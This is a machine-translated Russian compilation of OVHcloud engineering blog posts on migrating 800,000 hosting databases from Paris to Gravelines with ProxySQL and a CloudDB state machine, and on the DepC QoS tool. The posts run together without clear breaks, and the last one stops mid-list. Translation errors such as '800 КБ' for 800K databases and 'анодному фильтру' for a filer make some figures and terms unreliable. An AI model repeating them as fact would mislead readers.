# ref: https://www.xkcd.com/936/

Поскольку у нас есть постоянные клиенты (включая многих из вас, в данном случае!), Это была неплохая идея, но не очень масштабируемая.



Итак, чтобы упростить управление сервером, окончание срока службы оборудования и т. Д., OVHcloud перешла на предоставление нашим клиентам имени сервера вместо IP-адреса сервера.

$database_server = 'mysql55-59.pro';
$database_name = 'mydatabase';
$database_user = 'mydatabase';
$database_password = 'Brussels Sprouts Mandela Effect';
# ref: https://www.xkcd.com/2241/

Подводя итог, у нас есть три способа подключения к базе данных в P19:

• Использование IP сервера
• Использование имени сервера
• Использование имени базы данных

Блокиратор

Следуя правилам, описанным здесь, поскольку мы перемещали ваши базы данных по отдельности, а не весь сервер за раз, а базы данных перетасовывались во все наши новые экземпляры, а не оставались с их соседом, мы не могли повторно использовать IP-адрес сервера. Кроме того, мы не могли повторно использовать имя сервера.

Мы серьезно подумали об автоматическом изменении всех конфигураций наших клиентов.

Значит, нам пришлось бы:

• Разбирайте сотни терабайт. Выполнимо, но требует много времени.
• Разберитесь в организации вашего сайта. Это можно автоматизировать для 99% всех различных случаев использования, но 1% из 1,5 млн веб-сайтов по-прежнему представляют собой 15 000 потенциально поврежденных веб-сайтов после замены.
• Замените IP или имя сервера именем базы данных. Возможно, но не на 100% надежно.

Что, если заказчик:

• Использует свою базу данных в двоичном файле, например, скомпилированный CGI, написанный на C? Не разбирается.
• Использует другую базу данных, чем та, на которую есть ссылка? Как мы узнаем, что нужно использовать?
• Не пользуется своей базой? Как мы узнаем, что это действительно правильный результат, если ничего не нашли?

Поскольку это явно не вариант, нам нужно было найти способ поддержать каждый вариант использования.

Если конфигурация была:

• mydatabase.mysql.db: Нет проблем. DNS был обновлен.
• имя_сервера: запрос достигнет сервера и его нужно будет перенаправить.
• IP-адрес сервера: запрос достигнет сервера и его необходимо будет перенаправить.

Решение

Может быть, некоторые из вас уже начали искать решение…

Нам требовалось программное обеспечение, которое маскировалось бы под сервер, но фактически перенаправляло входящие соединения на реальный сервер, стоящий за ним. Другими словами, прокси!

Мы решили использовать proxySQL Рене Канна.

ProxySQL более или менее разработан для небольшого количества пользователей и небольшого количества баз данных, в основном для разделения доступа только для чтения и чтения-записи на разных серверных модулях, что может значительно помочь базе данных с небольшим количеством операций записи и поддержкой большого количества операций чтения. Загрузка. Это также может помочь в синтаксическом анализе и защите запросов. Но использование его для наших целей доводило его до предела. Надо сказать, этот продукт потрясающий!

Сторона Парижа

Прежде всего, нам пришлось развернуть его на сотнях серверов в P19.

Наша архитектура позволяла нам устанавливать по одному ProxySQL на каждый хост базы данных. Это было сделано в период с 27 ноября по 6 декабря 2019 года (http://travaux.ovh.net/?do=details&id=35499).



Как только все они будут запущены, мы сможем начать миграцию. Для каждой базы данных был обновлен ProxySQL, поэтому он отслеживал, где на самом деле находилась база данных, в Париже или в Gravelines.



Легко, не правда ли? Поскольку ProxySQL работает на том же хосте, нам не нужно было ничего подделывать, и это работало как шарм. Но что произойдет, если веб-сервер в Gravelines вызовет базу данных, которая все еще находится в Париже?

Сторона Гравелина

На этот раз у нас не было выбора, кроме как подделать имя сервера в Gravelines. Что мы могли использовать? Конечно же, ProxySQL! Но в нашей новой архитектуре мы просто не могли установить их на всех хостах, потому что, как было замечено ранее, у нас в Gravelines в 10 раз меньше клиентов на каждый экземпляр, чем в Париже.

Поэтому нам пришлось настроить ферму ProxySQL и ложный DNS, который разрешает члену фермы запросы о серверах в Париже. И, используя тот же механизм обновления конфигурации ProxySQL во время миграции, мы наконец получили такую ​​инфраструктуру:



Но как насчет конфигураций с IP-адресами в них? Поскольку у нас был ProxySQL, загруженный пользователями для группы серверов P19, мы могли — благодаря уловке с маршрутизацией — заставить веб-серверы думать, что IP-адреса P19 были настроены на ProxySQL!

Обратная сторона

Вы только что узнали, что для того, чтобы миграция произошла в требуемые сроки, нам пришлось внедрить ProxySQL. Даже если это отличное программное обеспечение, которое было почти спасением для нас, как системных администраторов, мы предпочитаем избегать обслуживания все большего и большего количества различных решений на ежедневной основе. Вот почему мы решили отказаться от поддержки способов подключения к вашей базе данных, кроме .mysql.db, в ближайшие месяцы. Подробности появятся в ближайшее время.

Если вы хотите сохранить наш современный способ решения задач (а также помочь нам обеспечить плавность изменений!), Вы можете проверить, что ваш веб-сайт уже использует .mysql.db в ваших файлах конфигурации.

Вывод

Необходимость поддерживать несколько способов подключения к базе данных доставляла нам массу головной боли. Нашим отличным программным обеспечением стал аспирин, который позволил нам включить флаг –quiet в процессе миграции, чтобы клиентам не приходилось изменять свои конфигурации, чтобы их веб-сайты оставались в сети.

Однако вы могли заметить, что все прошло не так гладко, как мы хотели. Мы столкнулись с множеством мелких, иногда неожиданных проблем, которые нужно было исправить как можно скорее…

Вы, возможно, помните ненормальное количество «max_user_connections» ( travaux.ovh.net/?do=details&id=35689 ).
Нам пришлось поиграться с исходным кодом ProxySQL, чтобы разрешить его использование против mysql 5.1 в сочетании с алгоритмом хеширования паролей до mysql 4.0. Мы обнаружили забавные вещи о кодировании в исходном коде, который мы исправили в апстриме.Мы смогли заполнить таблицу ARP нашего хоста несколько раз в час. Вы узнаете больше об этих проблемах в наших следующих публикациях!

В наших предыдущих статьях мы объяснили, почему нам пришлось перенести 800 000 баз данных из одного центра обработки данных в другой, на расстоянии 300 километров. Итак, мы… Моя команда и я сделали это! Это было настоящей головной болью, поэтому я надеюсь, что наша история поможет вам обратиться к большему количеству крупных технических проектов, с которыми мы любим играть.

Правила

• Чтобы уменьшить задержку, базу данных необходимо переносить одновременно с веб-сайтом, который ее использует.
• Поскольку базы данных распределены по всем доступным серверам MySQL, детализацией миграции должна быть база данных, а не экземпляр MySQL. Другими словами, мы не можем перенести весь сервер MySQL. Мы должны переместить только его часть.
• Поскольку ссылка между веб-сайтом и его базой данных не обязательно указывается, веб-сайт в Gravelines должен иметь возможность связываться с базой данных в Париже (например), и наоборот.
• Чтобы связаться со своей базой данных, веб-сайт использует имя хоста, имя пользователя и пароль. Мы хотим, чтобы миграция была прозрачной, чтобы никому не пришлось изменять какие-либо из этих элементов, чтобы связаться с их новой базой данных.
• Платформы баз данных меняются между Paris и Gravelines, как показано ниже.

Подводя итог, вот что у нас было до миграции веб-кластера:



И это то, что мы хотим после миграции:

Еще несколько вещей…

• Очевидно, что при работе с базами данных мы должны помнить об одном из самых важных моментов: согласованности. Для каждой базы данных нам нужно было определить точку согласованности. До этого момента на временной шкале чтение и запись производились в Париже. После этого чтение / запись производились в Gravelines.
• Мы верим в прозрачность и обратимость. Это обе ключевые части нашего SMART-облака. Вот почему мы хотели предоставить вам доступ к этой точке согласованности в виде дампа на панели управления OVHcloud . Для каждой перенесенной базы данных мы решили предоставить вам доступ к дампу на один месяц.
• Перенос 800 КБ баз данных примерно за 60 ночей означал, что мы должны были быть очень быстрыми и масштабируемыми. Наш рекорд был 1 июля 2019 года, когда мы успешно перенесли 13 502 базы данных за 1 час 13 минут и 31 секунду.
• Если вы привыкли быть на работе, вы знаете, что ночью ваше внимание и работоспособность ниже. Повторение процесса миграции примерно 60 раз в год усилит это, поэтому мы хотели, чтобы все было максимально автоматизировано и как можно проще. Как мы увидим позже, для запуска миграции базы данных нам просто нужно было запустить одну команду на одном хосте:

migrate-p19

Теперь вы знаете правила, пора начинать игру!

1-й уровень

Первый уровень всегда легкий, где вы узнаете, как работает игра, с помощью своего рода учебника! Итак, начнем с небольшой миграции базы данных. Вот как мы это делаем:

1. У источника (Париж)

• Установите режим только для чтения. Нам абсолютно необходимо избегать записи во время миграции, чтобы избежать известного  разделения мозга . Самый простой способ сделать это — перевести базу данных в режим только для чтения. В большинстве случаев веб-сайтам нужно только читать базы данных, но в некоторых случаях им нужно читать и писать, и поэтому они будут сломаны. Это не проблема, потому что сайт сейчас перенесен и закрыт. Мы заблокируем доступ на запись, если база данных используется другим хостом, на который ночная миграция не влияет.
• Дамп базы данных и дамп куда-нибудь положить. Мы решили хранить дампы в публичном облачном хранилище (PCS) OVHcloud , так как мы уже используем это решение для хранения 36 миллионов дампов в месяц. Добавление 800 000 дампов за год — не проблема для этой потрясающей платформы!

2. В пункте назначения (Гравелин)

• Получите дамп и импортируйте его.
• Создайте пользователя и разрешения с правом записи.

3. Переключитесь на новую базу данных.

• На данный момент веб-сайт все еще обращается к базе данных в Париже. Чтобы веб-сайт (независимо от того, размещен ли он в Париже или Gravelines) мог связаться с новой базой данных, мы обновим DNS, чтобы имя указывало на экземпляр Gravelines MySQL, а не на Париж.
• Доступ для чтения к базе данных Paris также удален.
• Наконец, мы обновим нашу информационную систему, чтобы вы могли получить дамп с PCS через панель управления. Это обновление также позволяет нам перенаправить все действия, доступные из Панели управления (например, изменение пароля, создание дампа…), в новую базу данных на Gravelines.

Уровень 2: «Децентрализованный государственный автомат»

Чтобы подтвердить концепцию миграции, мы сначала выполнили все эти шаги вручную и последовательно. Естественный способ автоматизировать это — написать сценарий, который сделает то же самое, но быстрее. Это централизованный метод, но такие методы рано или поздно обнаруживают узкие места и подразумевают единую точку отказа.

Чтобы предотвратить это и выполнить наши требования к масштабируемости, мы должны быть децентрализованы. Мы должны представить себе миграцию единственной базы данных как конечный автомат. Вот упрощенная версия графа состояний миграции базы данных, как описано выше:



Используя этот конечный автомат, мы можем выполнить эти три больших шага на разных машинах для распараллеливания рабочей нагрузки:

• Источник
• Назначение
• Тот, который обновляет DNS

Эти три хоста могут выполнять свои задачи независимо и децентрализованно. Все, что им нужно сделать, это посмотреть на график состояний, чтобы увидеть, есть ли у них что-то делать, и если да, то обновить его и выполнить задачи.

Мозг миграции: CloudDB

Нам нравится концепция «ешьте свою собственную еду»! Это лучший контроль качества, который когда-либо был, и ваши отзывы — это наш первый источник запросов на добавление функций. Поэтому неудивительно, что мы использовали наш собственный продукт CloudDB для хранения графов состояний миграций баз данных.

Технически граф состояний — это строка в таблице. Упрощенная структура этой таблицы выглядит так:

- database_name VARCHAR(255) PRIMARY KEY,
- source VARCHAR(255),
- destination VARCHAR(255),
- status VARCHAR(255) NOT NULL DEFAULT 'Waiting',
- dump_url TEXT

За исключением dump_url, все поля заполняются до начала миграции. Другими словами, мы знаем, где находятся базы данных и где они будут.

Мы прошли все испытания этого уровня. Пришло время победить последнего монстра!

Уровень 3. Перенести 800 КБ баз данных.

Теперь, когда мы знаем, как перенести одну базу данных децентрализованно, давайте заполним CloudDB всеми базами данных, которые мы хотим перенести! Вот как теперь выглядит миграция:

В Париже

Примерно раз в минуту * каждый хост из 780 серверов баз данных спрашивает CloudDB, есть ли у них что-то для сброса. В sourceи statusстолбцах таблицы используются для получения этой информации:

SELECT … WHERE source = me AND status = 'To dump';

Если так, они выполняют свои задачи и обновляют CloudDB о том, что они делают. Когда они закончили, они передают эстафету перехода к Gravelines:

UPDATE … SET status = 'To import' WHERE database_name = '…';

В Gravelines

В то же время в 300 километрах сотни серверов баз данных также спрашивают CloudDB, есть ли у них что-то для импорта. Как и в Париже, они запрашивают CloudDB примерно раз в минуту *. В destinationи statusстолбцах таблицы используются для получения этой информации:

SELECT … WHERE destination = me AND status = 'To import';

Если да, они выполняют свои задачи и обновляют CloudDB о том, что они делают. По завершении они передают эстафету третьему роботу, который изменяет записи DNS для этой миграции базы данных:

UPDATE … SET status = 'DNS to update' WHERE database_name = '…';

(*) Чтобы избежать переполнения CloudDB, мы используем случайную частоту для запроса базы данных с графами состояний. Таким образом, соединения глобально распределяются во времени.

Обновление DNS

Робот, отвечающий за обновление DNS, является третьим игроком в процессе миграции и работает так же, как роботы дампа и импорта, описанные выше.

Не все так просто ...

Конечно, на самом деле игра была более сложной. Это была упрощенная версия миграции, в которой некоторые шаги отсутствовали или недостаточно детализированы, например:

• Предотвращение записи в исходную базу данных
• Обновление IS (среди прочего), чтобы вы могли видеть дамп в Панели управления
• Установка пароля в пункте назначения (такого же, как у источника), не зная этого
• И многие другие

Но теперь, когда у вас есть концепция основных шагов, вы можете представить, как мы справились с остальными.

Чит-код: Итерация!

Вы знаете закон действительно больших чисел? В нем говорится, что при достаточно большом количестве образцов, вероятно, можно будет наблюдать что-либо маловероятное.

Это один из первых уроков, которые вы усвоите, разместив 1,2 миллиона баз данных. Каждый день мы сталкиваемся с множеством невероятных вещей, которые могут произойти с базами данных, поэтому мы знали, что, несмотря на проведенные тесты, мы столкнемся с трудностями, странными случаями и невероятными узкими местами.

Но есть чит-код, чтобы победить этого босса: повторять!

• Начать миграцию
• Столкнуться с проблемой
• Исправьте это окончательно (не только для конкретного случая, в котором произошел сбой, но и для всех похожих случаев на всей платформе)
• Тогда попробуйте еще раз, быстрее!

Этот способ возможен благодаря двум причинам:

• Волшебная команда
• Большая красная кнопка

Волшебная команда

Как упоминалось выше, для запуска миграции базы данных нам пришлось запустить одну команду на одном хосте:

migrate-p19

У этой волшебной команды есть один параметр: количество параллельных миграций, которые вы хотите сделать. Мы использовали 400для этого параметра.

migrate-p19 --max-procs 400

Это означает, что 400 баз данных выгружаются или импортируются одновременно — ни больше, ни меньше.

Команда migrate-p19- это планировщик. Он обновляет CloudDB каждые 10 секунд, поэтому эти 400 миграций всегда выполняются параллельно:

SELECT COUNT(database_name) … WHERE status in ('To dump', 'Dumping', 'Dump failed', 'To import', …);
42
UPDATE … SET status = 'To dump' WHERE status = 'Waiting' LIMIT (400 - 42);

Пауза в игре: большая красная кнопка

На каждой машине обязательно должна быть большая красная кнопка, которую нужно нажимать, когда что-то не так. Чтобы прервать миграцию по какой-либо причине, нам просто нужно убить migration-p19скрипт. Когда мы это делаем, текущие миграции завершаются сами собой, после чего новые не запускаются.

Прерывание автоматическое. Если что-то действительно плохо, планировщик может увидеть, что слишком много операций находится в состоянии ошибки, и затем решить остановить миграцию.

В этом блоге мы продолжим наше приключение по миграции базы данных. Действительно, мир не идеален, и нам приходилось разбираться с некоторыми интересными случаями…

Продолжение следует…

В нашей серии статей о переносе инфраструктуры веб-хостинга из Парижа на Gravelines (первая из которых находится здесь ) мы не упомянули базы данных. Однако это очень важная часть, так как необходимо перенести 800 000 баз данных!

В этой новой серии публикаций мы расскажем вам о нашем опыте работы с базами данных веб-хостинга.

Как обрабатывать 800 тыс. Баз данных?

В наших предыдущих публикациях объяснялось, почему мы должны переносить базы данных вместе с их веб-сайтами. Вы также знаете, что мы устанавливаем сетевой мост для клиентов, использующих базы данных без ссылок.

Однако миграция баз данных также сопряжена с проблемами. Мы опишем самые важные из них. Но сначала небольшое напоминание о наших разных архитектурах.

OVH предлагает два типа баз данных:

• Общие базы данных (которые мы называем SharedSQL )

• Частные базы данных (которые мы называем, как вы уже догадались, PrivateSQL)

Что такое SharedSQL?

Как следует из названия, это база данных на общем сервере, которая содержит много других баз и разделяет свои аппаратные ресурсы, включая оперативную память.

Конечно, не у всех есть доступ ко всем данным! Каждая база данных определяется одним пользователем, имеющим к ней доступ.

Этот метод позволяет нам использовать до 2500 баз данных на одном сервере. Это намного дешевле, чем предлагать физический сервер каждому клиенту. Таким образом, мы можем предложить недорогой доступ к нескольким базам данных в рамках наших предложений хостинга.

Что такое PrivateSQL?

В отличие от SharedSQL, PrivateSQL — это базы данных с гарантированными ресурсами, включая оперативную память. В PrivateSQL пользователи также имеют гораздо больше прав и большие возможности настройки.

У каждого пользователя есть свой сервер? На самом деле, нет! Несколько лет назад мы использовали технологию Docker для контейнеризации наших баз данных, мы уже обсуждали это в этом посте: www.ovh.com/en/blog/docker-administration-databases-a-flying-ideas/. В PrivateSQL закрыто не только пространство базы данных, но и гарантировано выделенное службе ОЗУ. Это означает, что в любых обстоятельствах производительность остается неизменной.

Семь отличий!

При рассмотрении вопроса о миграции нам пришлось изучить разницу в архитектуре между Paris и Gravelines.

Что касается PrivateSQL, все было просто: нет никакой разницы, мы уже согласовали архитектуры, когда помещали их в контейнер. Перенести их было бы проще простого: нам просто нужно было переместить контейнер из точки А в точку Б.

По крайней мере на бумаге, в реальной жизни все было не так просто, но мы поговорим об этом в следующий раз.

Вот упрощенная схема PrivateSQL



Напротив, базы данных SharedSQL на самом деле не были согласованы. Когда мы настраивали центр обработки данных Gravelines в 2016 году, мы воспользовались гибкостью Docker, чтобы пересмотреть нашу технологию баз данных и, следовательно, адаптировать наше прежнее решение.

Небольшая сравнительная схема SharedSQL в Париже и Gravelines:

SharedSQL на Paris P19 и Gravelines:



С одной стороны (в Париже) у нас есть серверы с единой системой управления базами данных (MySQL), на которых размещено 2500 баз данных на одной машине.

С другой стороны (в Gravelines) мы добавили уровень: контейнеры Docker имеют одну и ту же систему баз данных (MySQL), на которой размещается до 250 баз данных. На каждой машине размещается по 10 контейнеров.

Эта новая система значительно упрощает обслуживание, уменьшая влияние на производительность базы данных по мере ее возникновения.

Вот что он дает:



Конечно, запуск базы данных в контейнере Docker казался безумной идеей. Но после многих лет производства эта технология упрощает повседневную жизнь в центре обработки данных Gravelines.

Поэтому, когда нам приходилось выбирать между репликацией инфраструктуры Парижа или изменением инфраструктуры во время миграции, мы решили изменить технологию.

И вдруг у нас возникла еще одна проблема миграции.

В нашей следующей статье мы подробно расскажем, как переместить огромную базу данных за несколько минут, изменив при этом большую часть программного обеспечения и стоящую за ним инфраструктуру!

В OVH наша первая задача как поставщика облачных услуг — предоставлять продукты с высоким качеством обслуживания (QoS). Будь то выделенные серверы, облачные серверы или размещенные веб-сайты, наши клиенты ожидают от наших решений очень высокого качества. И это именно то, что наши команды стараются предложить вам ежедневно!

Это сложная миссия. Во многих случаях качество обслуживания может зависеть от нашей инфраструктуры, а также от предполагаемого использования решения. А для определения происхождения любого ухудшения состояния может потребоваться расширенная диагностика.

Итак, как мы можем количественно оценить это качество обслуживания? Как мы понимаем качество, обеспечиваемое каждым продуктом каждый день, с максимальной точностью?

Первым шагом было найти существующие инструменты, но мы быстро поняли, что ни одно решение не отвечает нашим требованиям. Основываясь на этом наблюдении, мы решили разработать собственное решение для вычисления QoS: DepC. Первоначально созданная для команды WebHosting, эта платформа быстро распространилась по OVH. Сейчас он используется внутри компании десятками команд.

Сначала мы создали DepC для расчета QoS нашей инфраструктуры. Но с годами мы обнаружили, что этот инструмент можно использовать для расчета QoS любой сложной системы, включая как инфраструктуры, так и сервисы.

Чтобы быть максимально прозрачными, мы также решили объяснить и обосновать наши методы расчета. Вот почему мы решили сделать DepC открытым. Вы можете найти его на Github.

Прежде чем погрузиться в код, давайте посмотрим, как работает DepC, а также как мы используем его для расчета качества наших продуктов.

Что такое QoS?

Прежде всего, важно определить точный характер того, что мы хотим вычислить. QoS описывает состояние системы. Это может быть услуга (например, поддержка клиентов, время ожидания в кассе…), эксплуатация продукта (например, жизненный цикл посудомоечной машины) или сложные системы (например, инфраструктура веб-сайта).

Это состояние здоровья очень субъективно и будет различаться для каждого случая, но, как правило, оно будет основываться на вероятности того, что пользователь получит пользу от услуги в хороших условиях. В нашем случае хорошие условия означают как доступность услуги (т.е. инфраструктура работает), так и ее общее состояние (т.е. инфраструктура реагирует правильно).

QoS выражается в процентах, начиная со 100%, когда обслуживание выполняется идеально, а затем постепенно уменьшается в случае сбоя. Этот процент должен быть связан с периодом: месяц, день, время и т. Д. Таким образом, сервис может иметь 99,995% QoS в текущий день, тогда как накануне оно было 100%.

Важны и другие концепции:

• SLA (соглашение об уровне обслуживания) : не путать с QoS, это договор между заказчиком и поставщиком, указывающий на ожидаемое качество обслуживания. Этот контракт может включать штрафы, предоставленные заказчику в случае невыполнения целей.
• SLO (цель уровня обслуживания) : это относится к цели, которую поставщик услуг хочет достичь с точки зрения QoS.
• SLI (индикатор уровня обслуживания) : это мера (время отклика ping, код состояния HTTP, задержка сети ...), используемая для оценки качества обслуживания. SLI лежат в основе DepC, поскольку они позволяют нам преобразовывать необработанные данные в QoS.

Цели

DepC изначально был создан для команды WebHosting. 5 миллионов веб-сайтов, распределенных на более чем 14 000 серверов, инфраструктура, необходимая для работы веб-сайтов (описанная в этой статье ), а также постоянные изменения затрудняют расчет качества обслуживания в реальном времени для каждого из наших клиентов.. Кроме того, чтобы идентифицировать проблему в прошлом, нам также нужно было знать, как восстановить QoS, чтобы отразить состояние инфраструктуры в то время.

Наша цель заключалась в том, чтобы показать эволюцию QoS изо дня в день для всех клиентов и определить причины любого ухудшения качества обслуживания.

Но как мы можем измерить состояние здоровья каждого из веб-сайтов наших клиентов? Наша первая идея заключалась в том, чтобы запросить их один за другим, проанализировать HTTP-код ответа и на основе этого определить состояние веб-сайта. К сожалению, этот сценарий оказалось сложно реализовать по нескольким причинам:

• Команда WebHosting управляет миллионами веб-сайтов, поэтому масштабирование было бы очень трудным.
• Мы не единственные гаранты правильного функционирования веб-сайтов. Это также зависит от клиента, который может (намеренно или нет) генерировать ошибки, которые будут интерпретированы как ложные срабатывания.
• Даже если бы мы решили предыдущие трудности и можно было бы рассчитать QoS веб-сайтов, было бы невозможно определить первопричины в случае сбоя.

Нам нужно было найти другое решение…

График зависимостей

Основываясь на этом наблюдении, мы решили обойти проблему: если невозможно напрямую рассчитать QoS веб-сайтов наших клиентов, мы рассчитаем его косвенно, исходя из их зависимостей.

Чтобы понять это, мы должны помнить, как работает наша инфраструктура. Не вдаваясь в подробности, помните, что каждый веб-сайт работает через набор серверов, взаимодействующих друг с другом. В качестве примера, вот две зависимости, которые вы наследуете, когда заказываете решение для веб-хостинга у OVH:

1. Исходный код ваших веб-сайтов размещен на серверах хранения (называемых filerz ).
2. Базы данных, используемые сайтом, также размещены на серверах баз данных .

Если один из этих серверов выйдет из строя, это неизбежно повлияет на доступность веб-сайта, что приведет к ухудшению качества обслуживания клиента.



На приведенной выше диаграмме показано, что неисправность сервера баз данных автоматически влияет на все содержащиеся в нем базы данных и, в результате, на все веб-сайты, использующие эти базы данных.

Этот пример намеренно упрощен, поскольку зависимости наших клиентов, конечно, гораздо более многочисленны (веб-серверы, почтовые серверы, балансировщики нагрузки и т. Д.), Даже без учета всех мер безопасности, принятых для снижения этих рисков сбоя.

Для тех, кто прошел несколько компьютерных курсов, эти зависимости очень похожи на график. Поэтому мы решили использовать базу данных с графической ориентацией: Neo4j. В дополнение к очень хорошей производительности, язык запросов, Cypher, и развитие платформы реальные активы.

Однако создание дерева зависимостей (узлов и их отношений) не требует от нас знания Neo4j, потому что мы разработали демон, который позволяет нам преобразовывать сообщения JSON в узлы на графе. DepC предоставляет API, так что каждая команда может добавлять новые элементы в свое дерево зависимостей, не изучая Cypher.

Принцип такой:

1. Пользователи DepC отправляют сообщение JSON в потоке данных Kafka . Это сообщение указывает, какие новые узлы должны быть созданы, а также их взаимосвязь (например, узел веб-сайта, подключенный к анодному фильтру ). Все узлы и отношения содержат временную информацию, которая помогает поддерживать изменения инфраструктуры с течением времени.
2. DepC анализирует эти сообщения, а затем обновляет график зависимостей в реальном времени.

Поскольку DepC доступен на Github, документация по этой части доступна в этом руководстве.

Расчет QoS

Платформа DepC предлагает API для хранения и запроса дерева зависимостей. Это может показаться тривиальным, но постоянное наблюдение за инфраструктурой — уже сложная задача. Это настолько мощно, что некоторые команды используют только эту часть платформы, используя DepC как эквивалент своей CMDB (инвентаризация своего технического парка).

Но ценность DepC идет дальше. Большинство наших пользователей рассчитывают качество обслуживания своего узла, но DepC предлагает два метода для разных случаев:

• Узел представляет собой элемент, контролируемый одним или несколькими датчиками.
• Целевой узел не является контролируемым элементом

Контролируемые узлы

Контролируемый узел может быть, например, сервером, службой или частью сетевого оборудования. Его основная характеристика заключается в том, что зонд отправляет измерения в базу данных временных рядов.

Здесь мы находим концепцию SLI, которую мы видели выше: DepC анализирует необработанные данные, отправленные зондами, чтобы преобразовать их в QoS.

Принцип очень простой:

• Пользователи объявляют индикаторы в DepC, определяя запрос на получение данных из базы данных временных рядов, а также порог, который подразумевает снижение QoS для этого узла.
• DepC запускает этот запрос для всех узлов, выбранных пользователем, затем каждый результат анализируется, чтобы вычислить QoS, как только пороговое значение будет превышено. Затем мы получаем QoS данного узла. Обратите внимание, что этот процесс выполняется каждую ночь благодаря инструменту планирования задач Airflow .

Технически анализ временных рядов DepC — это просто преобразование отсортированного по времени списка значений в отсортированный по времени список логических значений.



В этом случае расчет очень прост: значение «истина» увеличит QoS, а значение «ложь» - снизит его. Например, из 100 точек, когда 95 баллов ниже порогового значения ( верно ), QoS будет 95% (DepC запускает этот расчет каждую ночь; количество точек данных на самом деле намного выше).
Обратите внимание, что для завершения этой части DepC в настоящее время поддерживает базы данных временных рядов OpenTSDB и Warp10. Скоро будут добавлены другие базы данных временных рядов (InfluxDB, Prometheus…).

Неконтролируемые узлы

Некоторые узлы представляют собой элементы, не отслеживаемые зондом. В таких случаях их QoS будет рассчитываться на основе QoS их родителей в дереве зависимостей.

Представьте себе, например, узел, представляющий «клиента», связанный с несколькими контролируемыми узлами типа «сервер». У нас нет данных для анализа по этому клиенту. С другой стороны, для «серверных» узлов мы можем рассчитать их QoS благодаря наблюдаемым узлам. Затем мы объединяем эти показатели QoS, чтобы получить значение «клиентского» узла.

Для этого DepC вычисляет QoS отслеживаемых узлов, получая таким образом список логических значений. Затем между этими разными списками (по зависимости) применяется логическая операция И, чтобы получить уникальный список логических значений. Этот список затем используется для расчета QoS нашего неконтролируемого узла.




Затем вычисление выполняется таким же образом, как и для контролируемых узлов, с учетом количества «истинных» случаев по отношению к общему количеству точек.

В этом примере мы использовали только логический оператор. Однако DepC предоставляет несколько типов логических операций для разных приложений:

• И : все зависимости должны работать, чтобы услуга была предоставлена.
• ИЛИ : для оказания услуги достаточно одной зависимости.
• СООТНОШЕНИЕ (N) : необходимо, чтобы N% зависимостей работали для предоставления услуги.
• ATLEAST (N) : независимо от количества зависимостей, услуга предоставляется, если функционируют как минимум N зависимостей.

Мы не будем слишком углубляться во внутреннее функционирование, которое позволяет нам рассчитывать QoS в больших масштабах. Но если вас это интересует, я приглашаю вас посмотреть конференцию, которую мы провели на FOSDEM 2019 в Python devroom. Видео и слайды доступны по этому адресу .

Вывод

DepC уже используется десятками команд в OVH. Выбранная архитектура позволяет нам предлагать визуализацию QoS через встроенный веб-интерфейс с самим DepC или депортировать дисплей в Grafana.


Платформа идеально выполняет свою первоначальную задачу по составлению отчетов : теперь мы можем визуализировать качество обслуживания, которое мы предлагаем нашим клиентам, день за днем, а также увеличивать масштаб дерева зависимостей, чтобы выявить основные причины любого возможного сбоя.



Наша дорожная карта на следующие несколько месяцев очень загружена: всегда рассчитывать больше QoS, рассчитывать QoS этих узлов в соответствии с данными других команд и отображать все это в простой и понятной форме для наших клиентов…

Наша цель — стать стандартным решением для расчета QoS в OVH. Инструмент находится в производстве несколько месяцев, и мы получаем тысячи новых узлов в день. В нашей базе данных сейчас более 10 миллионов, и это только начало.

И, конечно же, если вы хотите протестировать или развернуть DepC дома, не сомневайтесь. Это открытый исходный код, и мы всегда в вашем распоряжении, если у вас есть вопросы или идеи по улучшению!

Ссылки

• Github: https://github.com/ovh/depc
• Документация: https://ovh.github.io/depc/
• Презентация FOSDEM 2019 (EN): https://fosdem.org/2019/schedule/event/python_compute_qos_of_your_infrastructure/
• Презентация PyconFR 2018 (FR): https://pyvideo.org/pycon-fr-2018/calculer-la-qos-de-vos-infrastructures-avec-asyncio.html

В предыдущих статьях мы видели, каковы операционные и технические ограничения проекта миграции нашего центра обработки данных в Париже.

Если вы не выполнили все наши технические ограничения, я предлагаю вам перечитать статью, в которой представлена инфраструктура нашего веб-хостинга. Мы построили наши сценарии миграции, серьезно отнеслись к этим ограничениям.

Чтобы преодолеть этот рискованный проект, мы рассмотрели несколько сценариев, каждый со своим набором операционных трудностей и рисков. Давайте посмотрим, какие проекты миграции мы изучали, а затем мы объясним, как мы выбрали лучший.

Сценарии

Нашей главной заботой во всех сценариях миграции было избежать проблемы разделения мозга. Эта проблема возникает, когда система одновременно получает данные, записанные как в источнике миграции, так и в месте назначения.

Возьмем пример: мигрируемый сайт электронной коммерции доступен в источнике и месте назначения одновременно. Если клиент этого сайта размещает заказ, и эта информация поступает в инфраструктуру назначения, и что, когда он оплачивает свой заказ, запрос поступает в исходную инфраструктуру, веб-сайт не может установить связь между платежом и заказом. Это то, что мы называем разделенным мозгом.

Чтобы решить эту проблему, необходимо согласовать две базы данных, что возможно только при управлении моделью данных и, следовательно, в целом исходным кодом сайта.

Как веб-хостинг, у нас нет доступа к исходному коду наших клиентов. В нашем масштабе мы даже представить себе не можем, что нам придется решать проблемы, с которыми мы столкнемся. Таким образом, мы не можем рассматривать любой сценарий с расщепленным мозгом.

Самостоятельный перенос сайтов

Наша первая идея заключалась в том, чтобы переносить веб-сайты независимо друг от друга. Это также решение, которое мы рекомендуем клиентам, желающим быстро воспользоваться преимуществами Gravelines, прежде чем приступить к глобальной миграции.

Вот что обычно приходилось делать нашим клиентам:

• Определите все базы данных, используемые в их исходном коде
• Настройте целевую учетную запись
• Поместите сайт на обслуживание в центр обработки данных в Париже, чтобы избежать раздвоения мозгов
• Перенести все данные: файлы исходного кода, а также базы данных
• Настройте новые учетные данные базы данных в исходном коде сайта.
• Убедитесь, что сайт работает как задумано
• Измените свою зону DNS, чтобы перенаправить свой веб-сайт на новый IP-адрес нового кластера Gravelines.
• Повторно откройте сайт и дождитесь окончания задержки распространения DNS.

Мы рассмотрели возможность индустриализации этой техники, чтобы сделать это от имени клиента. Но мы столкнулись с несколькими техническими проблемами:

• Надежная идентификация всех используемых баз данных сложна. Можно искать все имена баз данных в исходном коде наших клиентов, но это очень долгая операция, надежная только в том случае, если исходный код не изменяется в течение этого времени. Это также требует работы со многими особыми случаями: двоичные файлы, выполняемые в CGI, обфускация исходного кода или даже хранение имени баз данных в… базе данных. Этот метод не позволяет нам рассчитывать на 100% надежность нашей миграции.
• Перенос файлов можно выполнить двумя способами:
  
  1. В файловом режиме сценарий миграции проходит по дереву файлов и копирует их по одному.
  
  
